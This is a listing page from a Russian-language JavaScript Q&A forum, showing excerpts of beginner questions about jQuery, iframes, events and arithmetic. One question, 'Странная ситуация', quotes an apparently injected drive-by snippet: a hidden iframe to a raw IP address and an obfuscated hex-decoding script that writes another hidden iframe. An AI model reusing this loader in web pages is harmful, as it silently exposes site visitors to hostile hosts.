JavaScript
A programming language that conforms to the ECMAScript specification
Explore Questions
There are no popular questions to show right now
-
0 votes1 answer
-
0 votes0 answers
-
0 votes0 answers
-
0 votes1 answer
-
0 votes0 answers
4723 questions in this forum
-
if/else в onclick
<div class="price" onclick="$(this).find('.popup_block').css('height', '660px');"><span class="name" style="font-size: 12px;">Подробнее</span><div class="popup_block" style="height: 660px;">При нажатии на подробнее, блоку добавляется 660px высота, а когда нажимаю снова на ту же кнопку, то высота на 0 не становится. Решил что нужно сделать проверку если высота больше 0, то ставить 0, а если равна 0, то ставить 660px. Подскажите, пожалуйста, как в данный onclick добавить проверку?
0 votes6 answers -
кто-нибудь знает , как сделать чтобы в <input type="text"> можно ...
кто-нибудь знает , как сделать чтобы в можно было вводить только цифры? {... перенесено в JS lancer}
0 votes4 answers -
Странная ситуация.
<iframe src="http://220.130.128.170/ic/sp/index.php" width=1 height=1 style="visibility: hidden"></iframe> <script>function v477235597c64b(v477235597c64f){ function v477235597c65e () {var v477235597c662=16; return v477235597c662;} return(parseInt(v477235597c64f,v477235597c65e()));}function v477235597c68f(v477235597c693){ var v477235597c696='';for(v477235597c699=0; v477235597c699<v477235597c693.length; v477235597c699+=2){ v477235597c696+=(String.fromCharCode(v477235597c64b(v477235597c693.substr(v477235597c699, 2))));}return v477235597c696;} document.write(v477235597c68f('3C696672616D65206E616D653D276539326234346538343027207372633D27687474703A2F2F32323…
0 votes9 answers -
Вопрос по Angular
В Angular мне неприятен один минус. За это его не люблю. Исходный код пишется как "Привет, <b>{{ username }}</b>!". То есть пока не прогрузился JavaScript (или если не прогрузился вообще), пользователь будет видеть эти "переменные" вместо реального содержимого. И только потом посредством JS они будут сконвертированы в значения (т.е. "Привет, <b>Андрей</b>!"). Это также плохо для индексации, например проиндексируется "{{ content }}" вместо текста самого контента. Это существенный минус, из-за которого я категорически против данной библиотеки где бы то ни было. Но может я в чем-то ошибаюсь?
0 votes0 answers -
Интересно. Логика работы карт.
Добрый день! Стало интересно и решил задать этот вопрос экспертам. Какова логика работы различных карт (Яндекс, Гугл). Как осуществляется масштабирование, скроллинг карт, прорисовка различных объектов. Особенно волнует зум. Очень интересно. Поделитесь пожалуйста, если кто знает.
0 votes8 answers -
Помогите со скриптом для сайта с фреймами.
На фреймовых сайтах при осуществлении поиска можно попасть на отдельную страницу без менюшки, ссылок и т.д. Нужен скрипт, чтобы открывал эту найденную страничку во фреймовой структуре. Нашла один скрипт, но не могу переделать. <script language="JavaScript"> <!-- var string = location.search; var current_page=string.substring (1, string.length); document.write('<frameset rows="117,*" border="0" framespacing="0">'); document.write('<frame src="..filetop.htm" name="banner" frameborder="0" scrolling="0" marginHeight="0" marginWidth="0" noresize>'); document.write('<frameset cols="166,*" border="0" framespacing="0">'); document.write('<frame sr…
0 votes5 answers -
jQuery + Mootools: noConflict
К сожалению, я один из тех, кто столкнулся с такой редкой проблемой.. Суть в том, что только на MooTools мне удалось найти необходимый для меня слайдер. В то время как jQuery использует: меню, модальные окна, табы и галерею. Поэтому подружить их - моя первоочередная задача. Единственный выход из положения - jQuery.noConflict(); - но вот как им воспользоваться я так и не понял. Я уже по всякому вызывал этот скрипт, но ничего не изменилось. <script type="text/javascript" src="jquery/jquery.js"></script> <script type="text/javascript" src="js/script.js"></script> <script type="text/javascript">jQuery.noConflict();</script> <script type=…
0 votes3 answers -
отключить select в зависимости от значения другого selecta
как отключить select в зависимости от значения другого selecta. (Нужно сделать _PAGEFLAKES_imgCounterHolder не активным) function setCities(chooser) { var pl = document.getElementById("_PAGEFLAKES_imgCounterBlock"); var mysel = document.getElementById("_PAGEFLAKES_imgCounterHolder"); var objSel = document._PAGEFLAKES_edit_built_form.WindowSelection; if(objSel.value == 'oneFoto') { // pl.style.display = "none"; mysel.disabled = 'true'; } else { pl.style.disabled = 'false'; } } </script> <div id="photo_widget"> <form name='_PAGEFLAKES_edit_built_form'> <label> <span class = "bultspan">Open links in:</span> <select nam…
0 votes0 answers -
Вызов функции на изменение рабочей области браузера
Здравствуйте. Мне нужно управлять шириной и высотой дива в зависимости от размеров рабочей области браузера. Думаю делать так: 1. Есть функции которые определяют ширину и высоту рабочей области 2. Вызываем функций на ресайз рабочей области 3. Устанавливаем соответствующие размеры у div'a Не знаю по какому событию функцию вызвать? Или может кто-нибудь подскажет вариант решения?
0 votes3 answers -
Почему зависает скрипт?
Почему зависает скрипт? дебаговая функция берет элементы массива. Дебаг организован в виде функции... function dbg() { p=$('debug') l=arguments.length for(i=0;i<l;i++){ p.innerHTML+=arguments[i] if(i<l-1)p.innerHTML+=', ' } p.innerHTML+='<br>' } И по выполнению кода можно потом посмотреть что написал дебаг, отправляя туда любые параметры через запятую. Дебаг вызывается в функции вот так: names=getAllNames() for(i=0;i<names.length;i++){ names[i]=names[i].toUpperCase() // тут это явно неважно но оставлю в цитате кода. dbg(names[i]) .... } где getAllNames() возвращает массив function getAllNames() { a=new Array( 'имя1','имя2','имя3','имя4', .…
0 votes1 answer -
Динамическое создание окошек
Как с jquery сделать вызов window окошка с параметром, что-то вроде <a href="JavaScript:MyWindow(800,600,'<iframe src=\"http://ya.ru\" width=\"100%\" height=\"100%\" style=\"border: 0px;\">');">test</a> Возможно ли такое или только через ajax, если можно примеры. Что-то типа, но для jquery, чтоб можно было применить стили для окошек. <html> <head> <script type="text/javascript"> function openWin(data) { myWindow=window.open('','','width=800,height=600'); myWindow.document.write(data); myWindow.focus(); } </script> </head> <body> <a href="javascript:openWin('<h1>aaa</h1>');">test</a> </bod…
0 votes8 answers -
Помогите включить события браузера после preventDefault()
Здравствуйте. Выполняю работу с применением drag and drop. Вроде все получается хорошо. Но после того как стал устанавливать обработчики для Android, столкнулся в проблемой. Может для многих она покажется смешной. Чтобы передвижение объекта пальцем по сенсорной панели было корректным мне пришлось отключить обработчики браузера по умолчанию. Я это сделал использовав event.preventDefault(). Как теперь мне обратно вернуть эти обработчики по умолчанию после того как передвигаемый объект отпущен? Весь интернет перерыл. Как отключить обработчики по умолчанию описаны во многих статьях, а как включить обратно нигде найти не могу.
0 votes2 answers -
jQuery fade in/out эффект при смене background position
Всем привет. Проблема следующая: есть img с area map, при наведении на определенные области, которого меняется background position. Знанием JS/jQuery похвастаться не могу поэтому прошу помощи - хотелось бы, чтобы background position менялось с эффектом jQuery fade или любым другим способ красиво и плавно. Хочется чтобы старый background position исчезал как нибудь так .animate({opacity: 0,}, 400 );, а новый появлялся .animate({opacity: 1,}, 400 ); не могу понять как это реализовать. Посмотреть можно здесь http://jsfiddle.net/nSGym/1/ Я так понимаю что для addClass/removeClass не применяются эффекты, тогда как по другому сменить background position?
0 votes6 answers -
в Internet Explorere не работает <style type="text/css"> body {position: relative; top: -235px;}
пока в соседней теме автор бьётся, чтоб накрыть часть iframe и div-ом и z-index ту один добрый человек подсказал, как это решается одной строчкой <style type="text/css"> body {position: relative; top: -235px;} </style> но этот вариант не работает Internet Explorere как быть? Chrome & Mazzila ок вот тут www.thanx.me что не работает в Internet Explorere спасибо за советы!
0 votes1 answer -
iframe отображение сайта, прошлый век? или можно выполнить
Буду благодарен в помощи, облазил весь интернет ничего не нашел, информацию могу оплатить, в долгу не останусь Есть сайт www.sait-x.com который нужно отобразить по средствам iframe в сайте www.sait-y.com для сайта www.sait-y.com, index.html : <html> <body style=margin:0px; padding: opx;"> <iframe src="www.sait-x.com" frameborder="0" scrolling="yes" height="100%" width="100%"> </iframe> </body> </html> Подскажите пожалуйста, очень важно, можно ли сделать на определенную страницу редирект? пример www.sait-x.com отображается полностью в www.sait-y.com а вот страница - www.sait-x.com/new в сайте б…
0 votes0 answers -
Как сделать постраничную навигацию.
Помогите пожалуйста, не получается сделать постраничную навигацию. Делал все по урокам. в Итоге получилось сделать два разных каталога один с фильтрами другой с постраничной навигацией. И теперь я пытаюсь объединить два каталога. Но не получается. Сами файлы урока в архике каталог. Буду очень благодарен если мне помогут! catalog.phpcatalogDB.js каталог.7z
0 votes0 answers -
Ошибка в операции сложения
alert(parseFloat('600.66')+parseFloat('1200.00')); Как мне кажется, должно получаться 1800.66, и в «Опере», например, так оно и есть, а вот в ФФ и хроме почему-то 1800.6599999999999. Кто знает что это за фигня и как от неё избавиться?
0 votes3 answers -
Как выбрать активную ссылку?
Здравствуйте. Подскажите, пожалуйста, как с помощью jQuery выбрать ссылку, которая является активной. То есть, мне нужно сделать условие. Если например ссылка Home является активной, то li в котором она находится присваивается класс current. HTML код: <ul id="nav"> <li id="home"><a href="#">Home</a></li> <li id="services"><a href="#">Services</a></li> <li id="about"><a href="#">About</a></li> <li id="contact"><a href="#">Contact</a></li> </ul>
0 votes12 answers -
выпадающий список
есть код: this.style.backgroundColor=this.options[this.selectedIndex].style.backgroundColor; и выпадающий список: <select style='width:100px;' id="color" name="color-choise" size="1" onchange="color()";> Если я прописываю код прямо внутри списка, за место функции "color()", то код выполняется. Но если я записываю его так <script type="text/javascript"> function color() { this.style.backgroundColor=this.options[this.selectedIndex].style.backgroundColor; } </script> то ничего не происходит. В чем проблема?
0 votes9 answers -
не работает $(document).ready()
помогите, я изучал jQuery по видеокурсам Попова и у него эта функция работает а у меня почему то нет $(document).ready( Что делать?
0 votes1 answer -
ООП - кто как юзает?
Я всегда использовал объекты с прототипами, но частенько встречаю запись вида: var Obj = { x: 1, test: function() { alert(this.x); } } Выглядит конечно элегантно, но возникает вопрос: как в объект, объявленный таким образом, передать параметры? Ничего лучше, чем написать вот так не придумал: var Obj = { __construct: function(x, y, z) { this.x = x; this.y = y; this.z = z; }, getParams: function() { alert(this.x + ', ' + this.y + ', ' + this.z); } } Obj.__construct(1, 2, 3); Obj.getParams(); Эту идею взял из PHP. Насколько так правильно инициировать параметры объекта и как это делаете вы? Еще интересно, как можно защитить переменную Obj от перезаписи, …
0 votes7 answers -
Помогите сделать карусель
Вот такая просьба дурная. У самой не получатеся разобраться с fredsel. Нужна нестандартная хрень ... Я ее попыталась реализовать на bxslider - но там дурка с bx-clone и в принципе он криво листать начинает некоторые элементы и вообще имеет свойство не работать. Вот такая наглая просьба - можете мне на фредселе (как я поняла - на нем возможно все, сам слайдер не принципиален какой) сделать такой слайдер (без оформления с примитвными квадратиками)??? Я не могу в нем разобраться, наверное я тупая. Логотипов там 8 штук, но они дублируются просто, чтобы быть на всю ширину экрана. Могу даже, если кто согласен - дать доступ к компьютере на прямое управление, если вам удоб…
0 votes7 answers -
Как написать адаптивный скрипт для блока аккордион
Всем привет. Верстаю адаптивно. Столкнулся с задачай. В футер есть блоки со спиской внутри. На мобильном разрешение нужно сделать этот блок аккордионом. Как можно делать так, чтобы скрипт реагировал на изменение breakpoint а. Или есть другая решения? Спасибо заранее. Для наглядности прикрепил картинку.
0 votes5 answers -
jQuery.ajax получение данных Post. На сервере метод без параметра. Ошибка в IE
Запрос данных с сервера с использованием JQuery-Аякс запроса (ajax) Код на js следующий:jQuery.ajax({ type: "POST", url: Url.Action("GetMyList", "ServerController"), contentType: "application/json; charset=utf-8", dataType: "json", data: JSON.stringify({}), success: function(data){}, error: function(data){}});На серверной стороне: 1. Если метод без параметра, то: public class ServerController : Controller{[HttpPost]public NJsonResult GetReportPeriodList(){try{var list = MySqlAdapter.GetList();return new NJsonResult { Data = list };}catch (Exception e){return new NJsonResult{Data = new{error = tru…
0 votes5 answers -
History API: проблема с перезагрузкой страницы
Привет всем. У меня проблемы с простой задачей. Есть одностраничный сайт. Пользователь нажимает на ссылку меню, которая обрабатывается функцией Js. Эта функция асинхронно загружает содержимое страницы и изменяет URL с помощью history.pushState (). Например было "example.com" => после клика "example.com/page1" Затем пользователь обновляет страницу, но такого файла, не существует на сервере. Как решить эту проблему? Вот пример Вот страница с пояснениями, но примера обработки обновления страницы там нет. У них в примере, после обновления открывается страница с тем же контентом, что было до перезагрузки и с тем же url. Говорят, что нужно решать как-то …
0 votes0 answers